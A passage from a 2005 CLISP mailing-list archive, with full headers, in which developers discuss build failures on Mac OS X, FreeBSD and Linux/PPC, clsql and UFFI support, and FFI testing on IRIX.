Summer of Code In-Reply-To: <026DCC31AB859648A6F16C0E5CD2580D308B48@calttsv025.cal.riotinto.org> References: <026DCC31AB859648A6F16C0E5CD2580D308B48@calttsv025.cal.riotinto.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 2 18:54:31 2005 X-Original-Date: Fri, 3 Jun 2005 03:53:20 +0200 Billinghurst, David (CALCRTS) writes: > I just noticed the Google "Summer of Code" program at = > http://code.google.com/summerofcode.html. This may be of interest to = > some readers of this list. > > LispNYC are a sponsoring organisation and have a list of possible = > projects at http://www.lispnyc.org/summerofcode.html First item is cl-posix. Too bad I'm not a student anymore :-( -- __Pascal Bourguignon__ http://www.informatimago.com/ Small brave carnivores Kill pine cones and mosquitoes Fear vacuum cleaner From Joerg-Cyril.Hoehle@t-systems.com Fri Jun 03 02:25:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1De8R2-0005kV-Kn for clisp-list@lists.sourceforge.net; Fri, 03 Jun 2005 02:25:48 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1De8Qz-0002ol-Rw for clisp-list@lists.sourceforge.net; Fri, 03 Jun 2005 02:25:48 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 3 Jun 2005 11:25:15 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 Jun 2005 11:25:09 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B2B44@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: rm@mh-freiburg.de Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP CVS fails to build ... MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 3 02:26:38 2005 X-Original-Date: Fri, 3 Jun 2005 11:25:05 +0200 Hi, R. Mattes wrote: >>>Clsip CVS fails to build on my Linux/PPC box >>>"__errno_location" does not exist >> BTW, is your Linux/PPC box using glibc? >Yes, of course. Why wouldn't it? >Sorry, i don't have enough time right now to debug any further. Thanks >for your input When you do have time, please report a) precise UNIX system information and b) what errno.h does and how on my i386 box errno became a cpp macro = that expands to *(__errno_location()) via bits/errno.h and why not on = yours? errno became a cpp macro to yield the corrent value on a per-thread = basis. The old "extern int errno" does not make sense with threads. = What does your Linux/PPC system do? Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri Jun 03 06:50:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DeCYq-0000KB-2j for clisp-list@lists.sourceforge.net; Fri, 03 Jun 2005 06:50:08 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DeCYa-0001Q1-0T for clisp-list@lists.sourceforge.net; Fri, 03 Jun 2005 06:50:07 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 3 Jun 2005 15:49:50 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 Jun 2005 15:49:44 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03047B2C2E@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net, uffi-users@b9.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clsql/postgres works with CLISP -- MOP works fine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 3 06:50:40 2005 X-Original-Date: Fri, 3 Jun 2005 15:49:43 +0200 Hi, this is a short notice that I now successfully tested clsql-3.1.15(?) = with postgres and my UFFI wrappers with a recent cvs-clisp. In other words, the MOP support in CLISP, which clsql makes use of, = works fine. I hadn't had a change to test this since last year, when = Bruno Haible and Kevin Rosenberg made changes to CLISP's MOP and clsql = to this effect. I got 3 warning from loading sql/metaclasses.fas, about redefining = metaclasses having no effect(?). This also means that my latest UFFI-wrapper macros, modified for = suitability with cl-sdl, did not break the clsql postgres code (but = maybe clsql/db-postgres does not use uffi:get-slot-value, so the = changes did not affect it). Only 4 of 233 testcases failed: the 4 involving use of the LOOP = extension (e.g. add-loop-path of MIT-LOOP), which is not available in = CLISP's LOOP. My UFFI wrapper macros of CLISP are in Sourceforge's Patches section = about clisp: http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1028683&gro= up_id=3D1355&atid=3D301355 [They are not yet in UFFI itself, because there are still several = conceptual mismatches between how UFFI uses C type declarations and = what CLISP's FFI expects about types, not to mention lack of time to = merge my code into cl-uffi] I forgot that I could also have tested the postgres-socket backend, but = then IIRC, that one does not use UFFI (except maybe for 64bit int = conversions). Regards, J=F6rg H=F6hle From will@misconception.org.uk Fri Jun 03 14:22:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DeJch-000744-LT for clisp-list@lists.sourceforge.net; Fri, 03 Jun 2005 14:22:35 -0700 Received: from mta09-winn.ispmail.ntl.com ([81.103.221.49]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DeJce-0002V8-Bq for clisp-list@lists.sourceforge.net; Fri, 03 Jun 2005 14:22:35 -0700 Received: from aamta10-winn.ispmail.ntl.com ([81.103.221.35]) by mta09-winn.ispmail.ntl.com with ESMTP id <20050603212226.EQZG26596.mta09-winn.ispmail.ntl.com@aamta10-winn.ispmail.ntl.com> for ; Fri, 3 Jun 2005 22:22:26 +0100 Received: from [192.168.1.102] (really [82.13.159.220]) by aamta10-winn.ispmail.ntl.com with ESMTP id <20050603212226.JPWE24546.aamta10-winn.ispmail.ntl.com@[192.168.1.102]> for ; Fri, 3 Jun 2005 22:22:26 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506032222.20017.will@misconception.org.uk> X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Wanted: IRIX clisp user Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 3 14:24:10 2005 X-Original-Date: Fri, 3 Jun 2005 22:22:19 +0100 Is anyone using clisp on IRIX? I would be interested to know if FFI is currently working on IRIX and possibly test some changes to FFI. Thanks, From kevin@tiger.med-info.com Sat Jun 04 00:52:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DeTRx-0000ek-PP for clisp-list@lists.sourceforge.net; Sat, 04 Jun 2005 00:52:09 -0700 Received: from [216.184.11.215] (helo=tiger.med-info.com) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DeTRx-0001tO-7k for clisp-list@lists.sourceforge.net; Sat, 04 Jun 2005 00:52:09 -0700 Received: from tiger.med-info.com (kevin@localhost [127.0.0.1]) by tiger.med-info.com (8.13.4/8.13.4/Debian-3) with ESMTP id j547pwlG029154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 4 Jun 2005 01:51:58 -0600 Received: (from kevin@localhost) by tiger.med-info.com (8.13.4/8.13.4/Submit) id j547poLX029147; Sat, 4 Jun 2005 01:51:50 -0600 Received: by tiger.med-info.com (hashcash-sendmail, from uid 1000); Sat, 4 Jun 2005 01:51:50 -0600 From: Kevin Rosenberg To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, uffi-users@b9.com Message-ID: <20050604075150.GA29047@rosenberg.net> Mail-Followup-To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net, uffi-users@b9.com References: <5F9130612D07074EB0A0CE7E69FD7A03047B2C2E@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03047B2C2E@S4DE8PSAAGS.blf.telekom.de> X-GPG-ID: 0xC4A4823E X-GPG-FP: D7A0 55B6 4768 3582 B10D 3F0C 112E CDF2 C4A3 823E X-GPG-Key: http://b9.com/kevin.gpg.asc User-Agent: Mutt/1.5.9i X-Hashcash: 1:24:050604:joerg-cyril.hoehle@t-systems.com::Gi0fz55uGo9KKv0B:00000 000000000000000000000000k/uD X-Hashcash: 1:24:050604:clisp-list@lists.sourceforge.net::tgagFNcpqjhe/Nww:00000 0000000000000000000000006gZQ X-Hashcash: 1:24:050604:uffi-users@b9.com::fHMPlK9+nT4SLCk+:00000000000000000000 000000000000000000000000jv0E X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: [UFFI-Users] clsql/postgres works with CLISP -- MOP works fine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jun 4 00:53:06 2005 X-Original-Date: Sat, 4 Jun 2005 01:51:50 -0600 Hoehle, Joerg-Cyril wrote: > this is a short notice that I now successfully tested > clsql-3.1.15(?) with postgres and my UFFI wrappers with a recent > cvs-clisp. Hi Joerg, I've been (slowly) working on replying to your recent posts. But, I wanted to jump ahead to congratulate you on your accomplishment. That's good news, indeed. > Only 4 of 233 testcases failed: the 4 involving use of the LOOP > extension (e.g. add-loop-path of MIT-LOOP), which is not available > in CLISP's LOOP. There's implementation specific-code in CLSQL for LOOP extensions for Allegro, CMUCL, Lispworks, OpenMCL, and SBCL. CLISP would also require specific code written to support the LOOP extensions. > My UFFI wrapper macros of CLISP are in Sourceforge's Patches section about clisp: > http://sourceforge.net/tracker/index.php?func=detail&aid=1028683&group_id=1355&atid=301355 I'll take a look at them. I'm in favor of adding CLISP support to UFFI. What's the legal status of incorporating modified versions of your code into UFFI. UFFI, as you may know, is licensed under BSD. I believe that CLISP has restrictions on referring to internal symbols unless such referrents are licensed under the GPL. > I forgot that I could also have tested the postgres-socket backend, > but then IIRC, that one does not use UFFI (except maybe for 64bit > int conversions). No, the postgresql-socket backend doesn't use any FFI. But, appropriate socket stream code would need to be added to CLSQL. Ideally, I'll get to the specifics of your previous posts over the next week. -- Kevin Rosenberg kevin@rosenberg.net From dlah@linux.hr Sat Jun 04 01:00:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DeTa5-0000zp-Uq for clisp-list@lists.sourceforge.net; Sat, 04 Jun 2005 01:00:33 -0700 Received: from jagor.srce.hr ([161.53.2.130] ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DeTa4-00047O-56 for clisp-list@lists.sourceforge.net; Sat, 04 Jun 2005 01:00:33 -0700 Received: from [192.168.0.178] (cmung639.cmu.carnet.hr [193.198.130.131]) by jagor.srce.hr (8.12.10/8.12.10) with ESMTP id j5480Ibo024451 for ; Sat, 4 Jun 2005 10:00:23 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v622) Content-Transfer-Encoding: 7bit Message-Id: <4aaf954917d4af8b2027a2f44f42dba9@linux.hr> Content-Type: text/plain; charset=US-ASCII; format=flowed To: " " From: Dario Lah X-Mailer: Apple Mail (2.622) X-Scanned-By: MIMEDefang 2.42 X-Virus-Scanned: by amavisd-new at jagor.srce.hr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp fails to build on mac os x Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jun 4 01:00:46 2005 X-Original-Date: Sat, 4 Jun 2005 10:00:30 +0200 Hi, I have problem building clisp 2.33.2 on Mac OS X. uname -a Darwin Dario-Lahs-Computer.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Power Macintosh powerpc gcc -v Reading specs from /usr/libexec/gcc/darwin/ppc/3.3/specs Thread model: posix gcc version 3.3 20030304 (Apple Computer, Inc. build 1671) test -d bindings || mkdir -p bindings gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvw.c In file included from lispbibl.d:1704, from spvw.d:24: unix.d:202: error: conflicting types for `abort' /usr/include/stdlib.h:125: error: previous declaration of `abort' In file included from lispbibl.d:1704, from spvw.d:24: unix.d:342: error: conflicting types for `getcwd' /usr/include/unistd.h:147: error: previous declaration of `getcwd' In file included from lispbibl.d:1704, from spvw.d:24: unix.d:832: error: conflicting types for `libiconv' /usr/include/iconv.h:82: error: previous declaration of `libiconv' spvw.d: In function `SP': spvw.d:632: warning: function returns address of local variable make: *** [spvw.o] Error 1 When I manualy fix these, other like that appear. I failed to google answer for this. Dario From bsd1628@bwphotog.net Sun Jun 05 21:20:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Df96K-00089j-3Z for clisp-list@lists.sourceforge.net; Sun, 05 Jun 2005 21:20:36 -0700 Received: from imf16aec.mail.bellsouth.net ([205.152.59.64]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Df96H-0002gK-GQ for clisp-list@lists.sourceforge.net; Sun, 05 Jun 2005 21:20:35 -0700 Received: from ibm58aec.bellsouth.net ([208.60.251.231]) by imf16aec.mail.bellsouth.net with ESMTP id <20050606042026.KYWE13767.imf16aec.mail.bellsouth.net@ibm58aec.bellsouth.net> for ; Mon, 6 Jun 2005 00:20:26 -0400 Received: from rc-winxp.bellsouth.net ([208.60.251.231]) by ibm58aec.bellsouth.net with ESMTP id <20050606042021.GUVD1856.ibm58aec.bellsouth.net@rc-winxp.bellsouth.net> for ; Mon, 6 Jun 2005 00:20:21 -0400 Message-Id: <6.2.0.14.0.20050606001323.031d3d40@mail.bwphotog.net> X-Mailer: QUALCOMM Windows Eudora Version 6.2.0.14 To: clisp-list@lists.sourceforge.net From: bsd1628 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Problem building from cvs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 5 21:20:55 2005 X-Original-Date: Mon, 06 Jun 2005 00:20:09 -0400 I am building clisp (cvs download today) with the following parameters: ./configure build-dir cd build-dir ./makemake --prefix=/usr/local/clisp \ --with-dynamic-ffi \ --with-module=regexp \ --with-module=syscalls \ > Makefile make config.lisp make and the following results: ------------------------------------------------------------------------------ base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i syscalls/posix -i regexp/regexp -x (saveinitmem "base/lispinit.mem") ;; Loading file /home/bsd/cvs/clisp/build-dir/i18n/i18n.fas ... ;; Loaded file /home/bsd/cvs/clisp/build-dir/i18n/i18n.fas ;; Loading file /home/bsd/cvs/clisp/build-dir/syscalls/posix.fas ... ;; Loaded file /home/bsd/cvs/clisp/build-dir/syscalls/posix.fas ;; Loading file /home/bsd/cvs/clisp/build-dir/regexp/regexp.fas ... ;; Loaded file /home/bsd/cvs/clisp/build-dir/regexp/regexp.fas 1745856 ; 872340 rm -rf full CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp syscalls || (rm -rf full ; exit 1) gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/home/bsd/cvs/clisp/build-dir -c modules.c In file included from modules.d:12: /home/bsd/cvs/clisp/build-dir/clisp.h:535: warning: register used for two global register variables In file included from modules.d:36: modules.h:5: conflicting types for `module__regexp__subr_tab' modules.h:4: previous declaration of `module__regexp__subr_tab' modules.h:6: conflicting types for `module__syscalls__subr_tab' modules.h:3: previous declaration of `module__syscalls__subr_tab' *** Error code 1 Stop in /home/bsd/cvs/clisp/build-dir. -bash-2.05b$ ----------------------------------------------------------------------------------- What could be causing this error? My system is FreeBSD rc-fbsd.mshome.net 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Mon Oct 27 17:51:09 GMT 2003 root@freebsd-stable.sentex.ca:/usr/obj/usr/src/sys/GENERIC i386 Thanks RC From david.billinghurst@comalco.riotinto.com.au Sun Jun 05 23:52:58 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DfBTl-0005TN-VH for clisp-list@lists.sourceforge.net; Sun, 05 Jun 2005 23:52:57 -0700 Received: from mail.riotinto.com.au ([57.70.13.254]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DfBTk-00072E-St for clisp-list@lists.sourceforge.net; Sun, 05 Jun 2005 23:52:57 -0700 Received: from calbrsv026.cal.riotinto.org ([203.4.57.7]) by corehub1.ex.riotinto.org with Microsoft SMTPSVC(5.0.2195.6713); Mon, 6 Jun 2005 16:52:40 +1000 Received: from calttsv025.cal.riotinto.org ([203.4.72.4]) by calbrsv026.cal.riotinto.org with Microsoft SMTPSVC(5.0.2195.6713); Mon, 6 Jun 2005 16:52:16 +1000 content-class: urn:content-classes:message MIME-Version: 1.0 Priority: normal Importance: normal Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] Wanted: IRIX clisp user X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 Message-ID: <026DCC31AB859648A6F16C0E5CD2580D056BA5@calttsv025.cal.riotinto.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Wanted: IRIX clisp user Thread-Index: AcVp3Ee54HD8crJnTHi/ul8v5XUHUgAh3l/w From: "Billinghurst, David \(CALCRTS\)" To: "Will Newton" Cc: X-OriginalArrivalTime: 06 Jun 2005 06:52:16.0808 (UTC) FILETIME=[46DCDA80:01C56A64] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 5 23:53:18 2005 X-Original-Date: Mon, 6 Jun 2005 16:52:15 +1000 > From: Will Newton=20 >=20 > On Sunday 05 June 2005 07:04, you wrote: >=20 > > I use clisp on irix, but only to build maxima. I am happy to try > > some tests for you. >=20 > That's great news. :) >=20 > I was worried that no-one was building on IRIX. Does ./configure=20 > --with-dynamic-ffi work for you? >=20 > I've attached a patch that fixes FFI on little endian MIPS=20 > architectures (SGI=20 > MIPS boxes are big-endian, little endian MIPS is more comon=20 > in embedded=20 > systems). If you have time could you try building with this patch and=20 > --with-dynamic-ffi? The patch is against 2.33.2. >=20 > Thanks, > To build clisp-2.33.2 on irix6.5.22m I needed to configure with bash: env CONFIG_SHELL=3D/usr/local/bin/bash ./configure irix6.5 then the usual cd irix6.5 ./makemake --with-dynamic-ffi > Makefile make config.lisp make make check I get identical results with and without your patch. All tests pass. David NOTICE This e-mail and any attachments are private and confidential and may = contain privileged information. If you are not an authorised recipient, = the copying or distribution of this e-mail and any attachments is = prohibited and you must not read, print or act in reliance on this = e-mail or attachments. This notice should not be removed. From will@misconception.org.uk Mon Jun 06 04:17:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DfFbU-0000Zv-94; Mon, 06 Jun 2005 04:17:12 -0700 Received: from mta08-winn.ispmail.ntl.com ([81.103.221.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DfFbS-0007Uw-IQ; Mon, 06 Jun 2005 04:17:12 -0700 Received: from aamta09-winn.ispmail.ntl.com ([81.103.221.35]) by mta08-winn.ispmail.ntl.com with ESMTP id <20050606111659.LTXY6773.mta08-winn.ispmail.ntl.com@aamta09-winn.ispmail.ntl.com>; Mon, 6 Jun 2005 12:16:59 +0100 Received: from [192.168.1.103] (really [82.13.159.220]) by aamta09-winn.ispmail.ntl.com with ESMTP id <20050606111659.IUOC26865.aamta09-winn.ispmail.ntl.com@[192.168.1.103]>; Mon, 6 Jun 2005 12:16:59 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Wanted: IRIX clisp user User-Agent: KMail/1.7.2 References: <026DCC31AB859648A6F16C0E5CD2580D056BA5@calttsv025.cal.riotinto.org> In-Reply-To: <026DCC31AB859648A6F16C0E5CD2580D056BA5@calttsv025.cal.riotinto.org> Cc: clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506061216.56430.will@misconception.org.uk> X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 6 04:17:29 2005 X-Original-Date: Mon, 6 Jun 2005 12:16:56 +0100 On Monday 06 June 2005 07:52, Billinghurst, David (CALCRTS) wrote: > To build clisp-2.33.2 on irix6.5.22m I needed to configure with bash: > env CONFIG_SHELL=/usr/local/bin/bash ./configure irix6.5 > then the usual > cd irix6.5 > ./makemake --with-dynamic-ffi > Makefile > make config.lisp > make > make check I'll try and track this down, assuming we want to be able to build with a standard bourne shell. > I get identical results with and without your patch. All tests pass. Thanks for testing the patch. Would you be happy to merge this patch if I sync it with CVS Bruno? From kavenchuk@jenty.by Mon Jun 06 07:40:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DfImI-0002lC-2B for clisp-list@lists.sourceforge.net; Mon, 06 Jun 2005 07:40:34 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DfImD-0005zZ-Ex for clisp-list@lists.sourceforge.net; Mon, 06 Jun 2005 07:40:33 -0700 Received: from [150.0.0.200] (STNT067 